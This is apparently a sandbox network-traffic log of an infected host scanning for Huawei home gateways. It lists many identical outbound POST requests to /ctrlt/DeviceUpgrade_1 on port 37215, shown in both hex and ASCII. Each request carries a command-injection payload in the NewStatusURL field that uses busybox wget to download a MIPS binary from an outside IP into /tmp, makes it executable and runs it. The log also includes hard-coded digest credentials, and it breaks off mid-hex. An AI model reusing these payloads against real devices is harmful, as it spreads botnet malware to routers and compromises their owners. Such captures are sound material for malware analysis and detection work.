Dec 30, 2023 07:14:28.310246944 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:32.356168985 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:38.499255896 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:50.529685974 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:14.846122026 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:03.991312981 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	43122	222.186.3.83	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:14:28.324474096 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:30.052510023 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:32.068207026 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:36.195661068 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 